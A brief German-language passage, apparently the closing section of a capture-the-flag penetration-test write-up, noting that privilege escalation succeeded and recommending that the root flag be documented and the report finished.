Empfehlung (Pentester): Den Root-Flag dokumentieren. Den Bericht abschließen.
Empfehlung (Admin): Wie beim User-Flag, handelt es sich hier um ein CTF-Element.
Analyse: Die folgenden Zeilen im Originaltext deuten auf den erfolgreichen Abschluss der Privilegieneskalation hin.
Privilege Escalation erfolgreich